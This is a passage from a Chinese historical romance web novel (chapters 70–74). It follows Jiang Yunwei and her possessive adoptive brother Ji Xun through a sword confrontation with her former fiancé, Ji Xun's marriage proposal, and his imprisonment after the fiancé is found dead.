季珣猛地意识到了什么,当即掀开车帘,将驾车的车夫喊下,旋即翻身上马,扬鞭纵辔,朝着回府的方向疾驰而去。 * 季珣吩咐下人在院子里种满了海棠花,此时正值花期,一大片粉白色的花瓣层层叠叠垂落,妍丽动人。 姜芸薇坐在花树下的石桌边,碧荷和春桃两人陪在她的身侧,三人正闲聊这几日发生的事情。 恰在此时,身后的院墙下蓦地传来一声闷响,似是有人翻越高墙,重重摔落在地。 碧荷和春桃两人面面相觑,连忙下意识将姜芸薇护在身后,一脸戒备地盯着树后的方向。 姜芸薇透过疏疏落落的海棠花枝缝隙间望去,只见一个青衣男子自海棠花树后走了出来,赫然正是岑墨。 岑墨显然也瞧见了姜芸薇。 他快步上前,满脸激动之色,“姜姑娘,你果真在此处!今日六皇子告诉我,我还不信。” 今日,岑墨突然亲自找上他,告诉他这些日子,姜芸薇其实一直都被季珣囚在府中,大婚之日,派人掳走姜芸薇的人也正是季珣。 季珣他表面上光风霁月,其实背地里却觊觎自己的姐姐,他就是个披着人皮的禽兽。 六皇子甚至让他去皇上那里告御状,弹劾季珣罔顾人伦,强夺人妻。 岑墨半信半疑,他趁着季珣出府,偷偷溜进府中,果然在此处看到了姜芸薇,看来,六皇子说的都是真的! 岑墨心痛如绞,他快步上前,“姜姑娘,这些日子你受苦了,我这就带你离开。” 见状,碧荷和春桃两人连忙挡在姜芸薇面前,娇声喝道:“大胆,你这贼人,竟然强闯民宅,对我们夫人无礼。” 夫人? 听到这个词,岑墨顿时目眦欲裂,姜芸薇分明是他的妻子,季珣这个强夺人妻的畜生。 见岑墨情绪激动,姜芸薇叹了口气,“碧荷,春桃,你们先下去吧,此人是我的朋友,他不会伤害我的。” 闻言,春桃和碧荷两人面露犹豫之色,然而,瞧见姜芸薇一脸坚持,她们终是无奈退下了。 岑墨一把攥住姜芸薇的手腕,“姜姑娘,我现在就带你离开。” 姜芸薇望着他,满脸愧疚之色,“岑公子,对不起,我们的婚事,可能要作废了,你……” 岑墨打断她,“姜姑娘,我知晓,你是被季珣胁迫了,你不用怕,有我在,我会保护你的,我从前竟然没有看出,他对你存了那般心思,实在是知人知面不知心。” 姜芸薇轻叹一声,“岑公子,你误会了,我如今是自愿留下的。”《 》 70-77 第71章 第71章 阿姐,难道你心里还有他?…… 岑墨不可置信, “姜姑娘,你在说什么呢?是季珣逼你这么说的,对不对?” 姜芸薇摇了摇头, “当初, 大婚之日被掳走,我确实是不知情,可是如今, 我已经不愿再去追究从前的一切了, 岑公子,你如今考上进士, 将来前途不可限量,我们的婚约就算了吧, 左右也没有礼成, 今日我就当没有在此处看到你, 你快些离开吧。” 岑墨连连摇头, “不!姜姑娘, 我找了你这么久,怎么会轻易放弃,我知道你是被胁迫的,我现在就救你出去。” 姜芸薇再次温声解释,“岑公子,没人胁迫我,我真的是自愿留下的。” 她能够理解岑墨如今的心情, 新婚之夜,妻子却无故失踪,结果竟然是被身边的人掳走,换做是谁都无法接受。 然而, 季珣随时可能归来,他们两人一旦撞上,后果不堪设想,想到这,她语气之中多了几分急切,“岑公子,你还是快些离开吧,到时候阿珣回来了就麻烦了。” 岑墨想也不想便道:“姜姑娘,我今日绝不会独自离开。” 看着眼前女郎清丽秀美的面容,岑墨蓦地忆起清明踏青那日,他曾与季珣偶遇,当时季珣身侧跟着一个戴着帷帽的女子,如今想来那人定然是姜芸薇无疑了。 思及此处,岑墨胸中顿时怒火翻涌,季珣这般行径,分明就是在故意羞辱自己,夺妻之仇,势不两立。 这时候,身后蓦地传来一道清冷的嗓音,“哦?岑公子今日不请自来,这是想要强行带走我的夫人了?” 只见季珣自海棠花树尽头穿花拂叶而来,他今日穿了一身淡青色衣衫,雪魄梅骨,风姿俊逸。 岑墨怒不可遏地瞪着他,“你这个卑鄙小人,姜姑娘分明是我的妻子,如何就成了你的夫人?” 季珣眸光冷冽,“你说阿姐是你的妻子,那你们可有拜堂行礼?既然并未行礼,那你们如 今便并无干系。” 闻言,岑墨愈发火冒三丈,“倘若不是你从中作梗,我们早就已经是夫妻了,我从前敬你是姜姑娘的弟弟,对你处处礼让,没想到你竟恩将仇报,姜姑娘对你那么好,你却做出这样丧心病狂的事情,简直不配为人。” 他从前便察觉到季珣对自己敌意颇深,如今看来,季珣分明早就蓄谋已久,不安好心。 季珣唇边嗪着一抹冷笑,眸光讥诮,就恍若在看一只微不足道的蝼蚁,“我和阿姐的事情,什么时候轮得到你一个外人来置喙了?” 这话彻底激怒了岑墨,他怒发冲冠,颤抖着抬手直指着季珣,厉喝:“好!你且等着,我这就去弹劾你强夺人妻,□□悖德,哪怕是豁出性命不要,我也要让你身败名裂,万劫不复!” 季珣低笑一声,“岑兄还真是天真,你觉得今日,你还能有命活着回去吗?” 此言一出,岑墨心头猛地一沉,顿觉毛骨悚然。 季珣手中不知何时多了一柄软剑,在日光下泛着凛冽的寒芒,他缓步向前,长靴碾过地上零落的海棠花瓣,步履从容不迫,恍若赏花烹茶般闲适,然而周身弥漫的杀意却有如实质,每一步都似踏在岑墨的心上。 岑墨肝胆俱裂,下意识连连后退,直到后背抵上身后海棠花粗壮的枝干,再也无路可退,他双腿竟隐隐有些发僵,险些瘫软在地。 岑墨一脸惊惧地瞪着他,“你是疯了吗?杀人可是重罪,更如今我如今乃是天子门生,朝廷官员。” 季珣似笑非笑,“岑兄,你未免把自己看得太重要了,哪怕你今日死在此处,恐怕也无人知晓。” 岑墨脸色白了白,望着季珣眸底翻涌着的杀意,他只觉浑身血液瞬间凝固住了,他这才惊觉,原来自己竟从未认清过眼前之人。 他分明是个疯子!人面兽心,心狠手辣。 难道今日真的要命丧于此? 季珣长剑直指岑墨,杀气凛然,见状,姜芸薇瞳孔一缩,连忙冲上前挡在岑墨面前,“阿珣,不要!” 瞧见姜芸薇为岑墨挡剑,季珣眸色骤寒,他冷笑,“阿姐,你这是做什么?” 姜芸薇抬眸直视着他,眸光坚定,“阿珣,你不能杀了他!倘若你非要对他动手,那便先杀了我吧。” 季珣持剑的手颤了颤,他死死盯着姜芸薇,乌黑的瞳仁淬着寒意,周身气息冷冽危险,“阿姐,难道你心里还有他?” 姜芸薇不闪不避地迎着他的目光,轻轻摇了摇头。 瞧见姜芸薇竟不顾性命护在自己身前,岑墨心中感动不已,他颤声道:“姜姑娘,你不必管我,此人丧心病狂,万一他恼羞成怒,伤了你就不好了,你快些离开吧。” 然而,并无人理会他。 姜芸薇依旧保持着方才的姿势,抬眸直视着季珣,眸光坚定。 僵持片刻后,季珣猛地收剑,狠狠掷在地上,长剑落地,溅起一地尘灰,他冷笑道:“好,很好。” 姜芸薇松了口气,她没有回头,嗓音平静道:“岑公子,你快些离开吧。” 岑墨犹豫不决。 姜芸薇见状,只好加重了几分音量,“岑公子,难道你当真不要性命了?快些离开吧。” 岑墨闻言,只好道:“好,姜姑娘,你等我,我一定会想办法救你出去。” 岑墨眼下似乎认定了她乃是受季珣胁迫,不管她说什么都没用,姜芸薇在心中无奈叹了口气,索性缄默不语。 岑墨说完后,便转身仓惶而去。 一时间,便只剩下了季珣和姜芸薇两人。 微风拂过,海棠花瓣簌簌落下,两人一时间都没有说话,空气仿佛瞬间凝固住了。 见季珣周身戾气未散,姜芸薇轻叹一声,她缓步上前,将地上的长剑捡起,放到一旁的石桌上,她嗓音柔缓,“阿珣,我并非为了岑墨,而是为了你。” 季珣眸色微动,“阿姐此言何意?” 姜芸薇轻轻握住他的手,柔声道:“阿珣,我不想让你杀人,你寒窗苦读这么多年,阿姐从来都不盼你位极人臣,获得滔天权势,而是希望你做个心怀天下,爱国爱民的好官,阿珣,答应我,别让双手沾满血腥,别再动杀念,好不好?” 季珣黑沉沉的眸子直盯着她,恍若打翻了的墨砚。 姜芸薇眸底清澈如泉,继续说道:“阿珣,你如今已经是朝堂命官了,为官者,当以百姓为念,以社稷为重,岂能因私愤杀人呢?我方才阻止你,也是不想眼睁睁看着你毁掉自己。” 季珣被她这番话震得心神一凛,半晌无言。 他从来不是什么心怀天下之人,相反,他睚眦必报,为达目的不择手段,可是阿姐却是这般高尚,将他衬托得如此卑劣。 季珣敛去眸底翻涌着的复杂情绪,轻声道:“好,阿姐,我答应你。” 闻言,姜芸薇微不可察地松了口气,想起方才岑墨说要弹劾季珣的话,她的心中还是不禁有些担忧,“阿珣,岑公子他也不是什么恶人,不如我们等他冷静下来,再去寻他解释清楚吧,你好好同他致歉,再想办法补偿他。” 季珣:“阿姐,你不必再管此事,我会解决的。” 见姜芸薇面露担忧之色,季珣只好又轻声补充了一句,“阿姐放心,我既然答应了你,往后便不会再轻易杀人。” 第72章 第72章 阿姐,我们成亲吧 季珣为姜芸薇新添了一位婢女明月。 明月和她年纪相仿, 身手不凡,武功分外高强。 姜芸薇明白季珣的一番好意,便没有拒绝, 索性明月性子安静沉稳, 每日如影子般跟着她,保护她的安全,从不过问主子私事。 季珣近段时间越发忙碌, 每日早出晚归。 朝堂上的事情, 姜芸薇这几日也略有耳闻,听闻皇上突然病重不起, 无法临朝理政,太子早就已经被废, 储位的人选, 原本早该是三皇子秦煜的囊中之物, 只是如今, 却无故冒出一个六皇子秦彰, 得了皇上青眼。 一时间,京城人心惶惶,朝堂上暗流汹涌,风雨欲来。 这日,姜芸薇在府中打理花草,碧荷突然道:“夫人,外面有位妇人要见你, 她说她姓赵。” 姜芸薇听后,连忙道:“快请。” 她已经许久没有见到赵媒婆了,如今再次相见,一时竟生出几分物是人非之感, 这些日子,发生了太多的变故,她甚至都寻不到合适的时机,向赵媒婆解释那日所发生的事情。 赵媒婆瞧见她,寒暄了几句,两人都默契的没有再提及大婚时日所发生的变故,半晌后,赵媒婆突然道:“姜姑娘,你可有见过岑墨?” 姜芸薇愣了愣才道:“半月前曾经见过一次,那日他来府上找我。” 赵媒婆:“对,正是那一日,岑墨失魂落魄地跑回来,恰好撞见我,他便把事情竹筒倒豆子般都告诉了我,还坚持说要去告御状,弹劾令弟强夺人妻,我劝了他半天,他却怎么都不肯听,铁了心非要去报官,我实在没法子,只好先回家去了,谁知第二日,他就失踪了,再也没有露过面,这些日子,我左思右想,心中十分不安,便自作主张来找了你。” 姜芸薇呆愣在原地,半晌后,她才涩声道:“赵媒婆,我也不曾见过他。” 赵媒婆觑了一眼姜芸薇的神情,斟酌着语气,小心翼翼地开口道:“姜姑娘,岑墨这孩子性子太刚直,不懂得转弯,我早就劝过他,姻缘这事不能强求,他和你没有缘分,可他偏偏要钻牛角尖,如今惹祸上身,姜姑娘,我老婆子今日厚着脸皮登门,也是想要求你,出手救救岑墨吧,他不是个坏人,况且,他对你一片真心啊。” 闻言,姜芸薇只觉心口像是被压了块千斤巨石,沉甸甸让人喘不过气来,她自然能够听得出来赵媒婆的言外之意,赵媒婆觉得岑墨失踪一事定然和季珣脱不了关系,这才求到了自己面前。 “赵媒婆,你先别担心。”姜芸薇握住她的手,柔声道:“岑公子也是我的朋友,我自 然会帮忙寻他。” 得了姜芸薇的保证,赵媒婆紧绷的心弦这才松懈下来,“多谢姜姑娘。” …… 一直到赵媒婆离去后,姜芸薇心绪依旧分外复杂。 她一整日都心神恍惚。 季珣那日曾亲口答应她,往后再也不动恶念,再也不会杀人。 然而,他曾经做过的那些事情,却始终在脑海中盘旋不去。 葛三命丧他手,梁公子被他推入湖中,落得终身痴傻,还有文司祁,也是被他陷害,丢了书院的差事。 这一桩桩往事,依然历历在目,令姜芸薇感到惶然无措,她已经不知道该不该相信他了。 “阿姐,你在想什么?听碧荷说,你今日都没有用晚膳。” 身后蓦地传来季珣温柔的嗓音,他的脚步声越来越近。 姜芸薇浑身一僵。 季珣自身后紧紧拥住她,他将头埋在她的颈窝处,温热的呼吸喷洒在她的颈侧,那股独属于季珣身上的熟悉气息,从四面八方涌来,蛮横地渗进她的每一寸肌理。 姜芸薇周身的汗毛瞬间竖了起来,一颗心砰砰直跳。 “阿姐,你怎么不说话?” 季珣低喃着唤道,他温柔而又细密地亲吻着她雪白的脖颈,在她圆润的肩头又啃又咬,将白玉般的肌肤亲吻地湿漉漉、水淋淋。 像是被一片羽毛轻轻挠过,又麻又痒,姜芸薇蹙了蹙眉。 他手沿着衣襟悄无声息探入。 月白色的小衣被揉皱,掩映在其后的肌肤洁白似雪,毫无瑕疵,大掌轻覆其上。 姜芸薇浑身一紧,唇间忍不住溢出一声低吟。 她臊得满面通红,连忙按住季珣作乱的手,“阿珣,不要。” 顿了顿,她又道:“我有事情要问你。” 许是她的语气太过凝重,季珣下意识地抽回了手,“阿姐,怎么了?” 姜芸薇缓缓转过身子,抬眸定定地望着他。 季珣被她这异样的眼神看得一愣,不由问道:“阿姐,到底怎么了?是不是出什么事情了?” 姜芸薇一瞬不瞬地凝望着他,似乎不想错过他脸上分毫神情,“阿珣,我问你,岑墨失踪了,此事是否与你有关?” 此言一出,季珣眸色骤然冷了下来,他嗓音发沉,“阿姐,你这是在怀疑我了?” 姜芸薇缄默不言。 岑墨失踪后,就连赵媒婆这个外人都第一时间怀疑季珣,又更何况自己呢?她远比赵媒婆要更加了解季珣,知晓他俊美皮囊下,藏着一颗何等冷漠狠戾的心。 岑墨前一日还囔囔着要去弹劾季珣,第二日便离奇失踪了,幕后之人是谁已是不言而喻。 她甚至忍不住想,岑墨是不是早就已经惨遭毒手,被他悄无声息的杀死了,就如同葛三一样,被一场大火埋葬其中,尸骨无存。 毕竟这样的事情,他从前做了不少。 在自己面前装出一副温驯恭谨的模样,背地里却那般阴鸷偏执,令人胆寒。 她实在想不明白,为何季母性子那般温柔和煦,而季珣却这般狠戾偏执。 瞧见姜芸薇脸上的神情,季珣瞬间便知晓了答案,他冷笑一笑,眸中满是自嘲和讥诮,“阿姐,原来你从来没有相信过我。” 姜芸薇轻叹一声,“阿珣,我并非不相信你,只是岑墨失踪一事,你想必早就已经知晓了吧?” 季珣僵立原地,沉默不语。 他这样的神情,显然便是默认了。 姜芸薇后退一步,眸中满是失望之色,“阿珣,你既然早已知晓,为何却不告诉我? 她眼底的失望如针尖一般,刺得季珣心口发疼,他上前一步,死死扣住她的手腕,急声辩解道:“阿姐,事情并不是你所想象的那样,我从未违背过对你的承诺,我没有伤害他!我确实知晓他失踪了,可我本就厌他、憎他,懒得多管闲事,之所以不告诉你,也是不想让你为他担心,为他牵动心神。” 他确实厌恶岑墨,更多的却是嫉妒,他嫉妒岑墨,凭什么岑墨能够名正言顺与阿姐缔结婚约?只要一想到这一点,他就对岑墨恨之入骨,甚至恨不得岑墨立马消失在这个世界上,然而,他知晓,倘若自己当真痛下杀手的话,阿姐一定会恨他的。 他不希望阿姐恨他。 良久后,姜芸薇叹了口气,“罢了,我相信你,阿珣,毕竟是我们对不起岑公子在先,你能否帮忙寻找他的踪迹?” “好。”季珣想也不想便点头道:“阿姐放心,我定会帮忙寻找他的,你不必再为他担心,我保证他不会有事的。” 他的语气异常笃定,姜芸薇心中不禁浮起一丝异样的感觉,却没有再多说什么。 两人一时间谁都没有说话,气氛似乎陡然间变得凝滞起来。 季珣攥住姜芸薇的手腕,将她拉到自己怀中坐下。 他在她额头上轻吻了一下,蜻蜓点水般,一触即分,“阿姐,我知道在你心目中,我并不算什么好人,但是无论如何,我都不会伤害你的。” 他的声线分外低沉喑哑,听得姜芸薇心中酥麻一片,她自然从未怀疑过阿珣对她的真心,只是,两个人若是想要长长久久的在一起,仅有这些东西,是完全不够的。 她满心盼着阿珣能做个光明磊落、堂堂正正的好人,而不是像从前那样,让自己双手沾染血腥,以恶制恶,终究并未正道。 诚然,像王二、葛三之流,确实罪该万死,然而她还是希望,他们的罪责能由律法裁决,她不愿看到季珣亲手背负杀戮的罪孽。 他是她的弟弟,也是她在这个世界上最亲最爱的人,无论如何,姜芸薇都希望他能够平安无事。 “阿珣,我知道。”姜芸薇伸出手,轻轻环抱住他,似乎想用这种笨拙的方式,无声的安慰着他。 季珣心底的戾气顷刻间烟消云散,恍若枯萎的花得春雨浸润,重绽生机。 他知晓,阿姐心里是爱着他的。 前世,他恶行昭彰,受千夫所指,万人唾骂,然而阿姐却义无反顾,为他这个丧心病狂的恶人多方斡旋、苦苦陈情。 纵使他罪孽滔天,也永远都是她最偏爱的弟弟。 季珣用力回抱着她,他将头埋靠在她的肩窝处,嗓音分外轻柔,语气却无比郑重地开口道:“阿姐,我们成亲吧。” 姜芸薇呆了一下,她嘴唇翕动,却迟迟没有开口。 似乎是看出了她的顾虑,季珣轻声询问,“阿姐,你是怕别人诟病我们曾经的关系?” 姜芸薇缄默不言,显然是默认了。 阿珣今科金榜题名,高中状元,受万众瞩目,定然有不少人曾经调查过他的身世,倘若让世人知晓,他要和自己名义上的姐姐成亲,定然会流言蜚语四起,有损他的声名。 第73章 第73章 亲我一下好不好? 季珣柔声道:“阿姐, 你不必忧心这些,只管答应我就好了,其他的事情有我, 我都会解决的。” 许是他的语气太过笃定, 令人不自觉信服,沉默半晌后,姜芸薇轻轻点了点头, 声音细若蚊蚋, “好,我答应你。” 季珣眼中瞬间燃起亮光, 他从衣袖中取出一只木簪,踌躇了片刻后, 才递到姜芸薇手中, 轻咳一声道:“阿姐, 这个送给你。” 姜芸薇接过看了一眼。 只见那木簪顶端雕刻着一株小小的桃花, 簪尾刻着一个“珣”字, 木簪周身光滑,看得出来确实是下了一番功夫。 姜芸薇握在手中轻轻摩挲了两下,唇角漾起一抹笑,“阿珣,这簪子是你自己雕刻的?” 季珣竟难得露出几分赧色,他偷偷觑了一眼姜芸薇脸上神情,似乎生怕她不喜欢, “对,有些地方没雕好,下次再送阿姐你一个更好的。” 看着他手指上细小的伤痕,姜芸薇心中的坚冰瞬间融化, 她将簪子插在发间,耳尖微红,羞赧一笑,“好看吗?” 灯下看美人,平添几分柔美和婉约,季珣一时心旌摇曳,他嗓音沉哑,“自然好看,在我心目中,阿姐是全天下最美的女子。” 姜芸薇被他这般夸赞,面上顿时浮起一抹绯色,她笑着嗔道:“油嘴滑舌。” “阿姐,收了我的簪子,那你往后便是我的未婚妻子了。”季珣眸中柔情缠绻,他指尖轻勾起姜芸薇鬓边垂落的一缕青丝,嗓音低哑带笑,“那我能否提前与阿姐做些夫妻之间该做之事?” 闻言,姜芸薇脑海中顿时嗡的一声,她抬眸瞪了季珣一眼,羞臊得满面通红,“阿珣!你胡说什么呢!” 季珣促狭笑道:“阿姐,你在想什么呢?我只是想让阿姐你主动亲我一下。” 他分明是故意捉弄自己! 姜芸薇羞恼交加,抬眸横了他一眼。奈何她一双眸子水润莹亮,纵是含嗔带怒,亦别有一番潋滟风情。 不知为何,瞧见她这副害羞的模样,季珣便越发忍不住想要逗弄她。 他手指在唇瓣轻点了下,目光灼灼地望着她,“阿姐,你从来都没有主动亲过我,亲我一下好不好?” 语气又轻又软,恍若蛊惑。 姜芸薇心跳如雷,她犹豫了一瞬后,踮起脚尖,在他的嘴唇上轻啄了一下。 亲完后,她飞快地退后两步,雪白的面颊泛上一层粉色,就连耳后根都红透了。 季珣抚了抚唇瓣,似乎还在怀念方才那一瞬间温软的触感,他弯唇笑道:“这就没了?阿姐,你耍赖,亲吻可不是这样亲的。” 姜芸薇羞得恨不得找个地缝钻进去,她自然明白季珣的意思。 她虽然未经人事,却也和季珣亲过那么多回了,每一次,他都是拿舌头顶进去,蛮横地扫荡她唇腔内的每一寸气息,然而让她尝试这种亲法,她实在是做不出来。 “阿姐。”季珣大掌扣住她的后腰,将人往身前带了带,他乌黑的发丝滑落,扫在她的脖颈处,微微有些痒,他嗓音越发低哑缠人,“我教你怎么亲,乖,舌头伸出来。” 姜芸薇脑海中顿时像是炸开了一束烟花,脸颊烧得滚烫。 季珣捧起她的脸,贪婪地亲吻着她香软的唇舌,与她的丁香小舌缠绕嬉戏。 季珣往日亲吻她时,总是既急切又霸道,而今日却截然不同,缠绵而又温柔,恰如春日细雨,绵绵密密,不放过她唇齿间每一处角落。 这一场亲吻实在持续了太久。 姜芸薇脑袋逐渐开始发晕,呼吸也有些急促,她双手不由缠上他的腰,身骨似乎化作了一汪春水,只能如藤蔓般,软软依偎在他的怀中。 待到吻毕,季珣伸出手,将她黏在脸上的一缕长发拂开,含笑道:“阿姐,你可学会了? 姜芸薇唇上似乎还残留着他舌尖的温度,她羞得无地自容,只垂着脑袋,小声应了一句,“嗯。” 季珣凝望着她,目中满是柔情,他低声呢喃道:“阿姐,我真想快些和你成亲。” 想要每日和她待在一起,想要光明正大的占有她。 * 只是,姜芸薇却并未等到这一天。 没过多久,季珣便出事了。 有人发现了岑墨的尸体,岑墨的妹妹听闻这个消息后,星夜兼程,特意赶赴京城,来为枉死的哥哥申冤。 季珣强夺人妻,还杀人灭口的言论瞬间如燎原野火般,席卷了整个京城。 街头巷尾,茶楼酒肆,人人皆在议论此事。 昔日三元及第,风光无限的新科状元,一夕之间,竟沦为强夺人妻的杀人凶手! 不仅对从小一起长大的姐姐暗藏龌龊心思,设计毁她婚约,甚至在事情败露以后,狠心杀害岑墨灭口,这般卑劣行径,实在是令人发指。 一时间,满城百姓提及此事,无不义愤填膺,对季珣唾骂鄙夷。 * 季珣突然出事,府上众人顿时皆如惊弓之鸟般,惶惶不安,毕竟他是府上的主子,倘若他真有个三长两短,他们这些下人,也只能各自离散,另谋生路了。 碧荷眸中带泪,急切道:“夫人,听闻公子已经被关入天牢了,他怎么会这般糊涂,竟然沾上了人命官司。” 姜芸薇静立窗边,望着庭院中的景色怔忡出神,不知在想些什么。 她没有回头,嗓音却极其坚定,“不,我相信人一定不是阿珣杀的。” 碧荷在心中叹了口气,没有接话。 她们这些做丫鬟的,日日跟在主子身边,虽然从来不过问主子私事,但是心中却跟明镜似的。 主子的确是觊觎一起长大的姐姐,还设计毁了她的婚事,将人囚在府中,至于那个岑墨,十有八九就是被主子杀人灭口了。 姜芸薇知晓碧荷心中并不认可她所说的话,如今甚至连府中下人都认定了人乃是季珣所杀。 不过无论别人怎么想,总之,她相信季珣。 他亲口承诺过,绝不会伤害岑墨,姜芸薇愿意相信他。 只要一想到如今季珣还被关押在天牢之中,姜芸薇便心悸不已,她听闻但凡进了天牢的人,不死也要脱层皮,她甚至不敢去细想他此刻的境遇,会不会遭到严刑逼供? 姜芸薇握紧了拳头,竭力逼迫自己冷静下来,无论发生何事,她都绝不能倒下,如今唯有她愿意相信季珣,为他申冤了。 她正想的入神,屋外蓦地传来一阵喧闹声,似乎有人在争执什么。 姜芸薇蹙了蹙眉。 春桃拽着一个脸生的小丫鬟走到姜芸薇面前,怒道:“夫人!这个刁奴居然偷了你的首饰,收拾了细软,打算偷偷离府!” 那小丫鬟一脸不服气,梗着脖子道:“主子都出事了,我们还留下做什么?估计到时候月钱都发不出来了,再说府上又不止我一个人打算离开。” 姜芸薇目光在她面前停留一瞬,她神色竟出乎意料的平静,“把她的月钱结清,让她离开吧,府中但凡还有想要离开的,都可以来我这里按例结清月钱离府,我绝不阻拦。” 顿了顿,她语气骤然冷了下来,“走便走,但若是谁敢偷拿府中物件,我一定报官追究,府中的东西皆记录在库,倘若到时候丢了什么,我绝不会姑息。” 那小丫鬟被她气势唬了一跳,只得乖乖将偷拿的东西都还回来了。 姜芸薇平日里不管事,性子又贞静温柔,府中众人便都当她好欺负,如今季珣大祸临头,众人料定她必是惊惶不安,自顾不暇,便起了浑水摸鱼的心思,想趁乱偷些府中钱物出去变卖。 没想到,这位看似温顺的女主子,实则外柔内刚,绝非柔弱可欺之人。 待到小丫鬟离开后,春桃不解道:“夫人,你怎么竟让她们都离府了?如此一来,府中不就乱了吗?” 姜芸薇轻叹,“这几日府中早就已经乱成一锅粥了,人人自危,人心惶惶,勉强让人留下也无用,倒不如成全了他们。” 春桃拧着眉,“可是,下人们都离开了,谁来料理府中事物,照顾夫人啊?” 姜芸薇轻声道:“我不必旁人照顾,春桃,不如你和碧荷也离开吧,另外寻一个好去处。” 春桃闻言眼眶瞬间红了:“夫人!我和碧荷早就商量过了,我们不愿离开,夫人别赶我们走!” 见她们姐妹两人坚持不愿离开,姜芸薇也没有强求。 这些日子,府上的人都陆陆续续走的差不多了,管家方文远也坚持要留下,他说季珣对他有救命之恩,他这辈子都只会效忠季珣一人。 姜芸薇虽然不明内情,却是乐见其成,方文远是个伶俐的人,有他在,打探一些消息也能够方便许多。 如今季珣入狱,姜芸薇就连想要见他一面,都难如登天,银子在这个时候便格外重要,俗话说,有钱能使鬼推磨,想要季珣在牢狱中少吃些苦头,免不了要上下打点。 所以,她绝对不能任由那些下人偷走府中的财物! 第74章 第74章 风风光光娶你为妻 姜芸薇将一些贵重的首饰都变卖了, 换成银钱,让方文远出去 打探消息。 然而,却始终一无所获。 她到了天牢, 却被告知不允许探监, 哪怕花再多的银钱,也是无济于事。 她想要见上季珣一面,简直难如登天。 姜芸薇失魂落魄地往回走, 却骤然被一个婢女模样的女子拦住去路, “姜姑娘吗?明珠公主想要见你。” 姜芸薇愣了一下,她并不认识什么公主, 听闻当初琼林宴上,皇上曾有意为季珣和明珠公主赐婚, 只是不知, 公主为何想要见她? 想到季珣如今的处境, 或许眼下明珠公主能够有办法帮他, 思及此, 她连忙点了点头,随婢女上了马车。 马车碾过青石板长街,车轮辘辘轻响。 明月跟在她的身侧,这小丫鬟似乎只听从季珣的命令,这些日子都隐在暗处,寸步不离地保护着姜芸薇。 大约过了半个时辰,马车停了下来, 婢女轻声道:“姜姑娘,公主府到了。” 姜芸薇随着婢女入府,抬眼望去,但见碧瓦朱甍, 雕梁画栋,庭院内花木扶疏,荷风送香,一步一景,无一处不雅致精巧,秦婉果然不愧是皇上最宠爱的公主,从这奢华的府邸,便能够窥出。 婢女带着姜芸薇来到花厅,又奉上茶水,“姜姑娘稍候片刻,公主殿下马上就来。” 她话音刚落下,便见一位盛装女子自外走了进来。 公主身穿一身红衣,容颜明艳秾丽,满头珠翠更衬得贵气逼人,宛若瑶池仙姝。 姜芸薇不敢细看,连忙行礼道:“民女见过公主。” 秦婉打量着她,“你就是季珣的心上人?” 姜芸薇迟疑一瞬后,才回道:“民女乃是季珣的姐姐。” 秦婉“噗嗤”一声笑了,“现如今京城谁不知晓,季珣为了抢夺你这个姐姐,行杀人灭口之事啊。” 姜芸薇下意识辩解道:“公主殿下,阿珣是被冤枉的,他没有杀人。” 秦婉似笑非笑,“你倒是挺护着他的,你对他也并非无意吧?” 闻言,姜芸薇心中一紧,她一时摸不准秦婉是何意思,便没有开口。 秦婉弯唇一笑,揶揄道:“瞧你,这么紧张做什么?本公主又不会吃了你,你先坐吧。” 姜芸薇刚落座,便听秦婉道:“姜姑娘,其实我今日寻你,是想要向你打听另外一个人,我听闻你和探花郎林遇乃是旧相识?” 姜芸薇一怔,她下意识地抬起头,便正好对上秦婉眸中的兴味之意,她没敢细想,忙道:“对,林公子和阿珣乃是同窗好友。” 秦婉好奇问道:“那你可知晓,林遇他有没有心上人,他喜欢什么样的女郎?” 姜芸薇沉默半晌后,轻轻摇了摇头,“据我所知,林公子他应该并无心上人,不过我与他并不是特别相熟,公主想要知晓,何不亲自去问他呢?” 秦婉摇了摇头,“他那个人就像块木头疙瘩一样,毫无情趣,满脑子都是那些迂腐的大道理,问了他也是白问。” 姜芸薇观她神情,顿时了然于胸,看来秦婉是喜欢上林遇了,单论相貌和身份,他们两人倒是分外般配。 她年少时,确实曾对林遇有过仰慕之意,只不过如今,那点少女情怀,早已经随着时光的流逝,烟消云散。 姜芸薇莞尔一笑,“林公子温润如玉,怀瑾握瑜,是世间少有的君子。” 秦婉单手托腮,若有所思,“可是,据我所知,他喜欢的女子乃是那种温柔贤淑,蕙质兰心的。” 顿了顿,她目光落在姜芸薇身上,语气听不出什么情绪,“就比如,像你这样的。” 姜芸薇心中顿时打了个突,她弯唇一笑,柔声道:“公主殿下,你这般貌美,林公子又岂会不心动呢?” “你说的也对。”秦婉笑着点了点头,“本公主美若天仙,能够看得上他,是他的福分才对。” 见秦婉心情不错,想起仍在牢狱之中关着的季珣,姜芸薇忍不住试探着开口问道:“公主殿下,阿珣他如今还被关押在天牢之中,不知你能否帮忙,让我见他一面。” 秦婉笑着瞥她一眼,“这才是你肯来见我的真实目的吧?我可以答应你,不过你也得答应我一件事情。” 姜芸薇连忙道:“公主请说。” 秦婉笑道:“我与你一见如故,觉得十分投缘,不如这段时日,你就在公主府住下吧?” “这……”姜芸薇面露犹豫之色,她不过一个普通女子,如何能够担得起公主的一句投缘? 秦婉似乎早就料到她的反应,不急不缓道:“你若是不答应我,那我可也没办法让你去天牢探监了。” 姜芸薇无奈,只好应下。 * 姜芸薇就这样在公主府住了下来。 秦婉却只字不提去天牢看望季珣的事情,反而每日带着姜芸薇出去看戏赏花游玩,似乎全然忘记了对她的承诺。 就这样过了三日,姜芸薇终是忍不住想要开口询问,秦婉却突然匆匆忙忙从外面回来,“快换身衣裳,我现在便带你去天牢。” 姜芸薇连忙应下,她换了一身婢女的衣裳,随着秦婉来到了天牢。 这是姜芸薇第一次来这种地方,甫一入内,便有一股子阴寒湿冷的气息扑面而来,令人不自觉打了个寒颤。 天牢甬道狭长逼仄,不时有水珠沿着石缝间淌落,滴滴答答落在地面上,石壁上悬着数盏油灯,火光昏黄,被风吹得明明灭灭,更添几分阴森,空气中弥漫着铁锈般的血腥味。 一直走到尽头,秦婉这才停住脚步。 只见铁栏后,季珣端坐其中,他白色的囚服上染着斑斑血迹,看上去分外触目惊心。 姜芸薇一颗心瞬间揪紧了,她颤声唤道:“阿珣。” 季珣抬起头,待瞧见姜芸薇时,他漆黑的眸中倏地泛起亮光,“阿姐,你怎么来了。” 姜芸薇心中一酸,眼眶瞬间红了,“阿珣,你受伤了?” 季珣笑着摇了摇头,“阿姐不必担心,只不过一点小伤罢了。” 姜芸薇隔着冰冷的铁栏握住他的手,季珣的手很凉,像是冰块似的,没有丝毫温度。 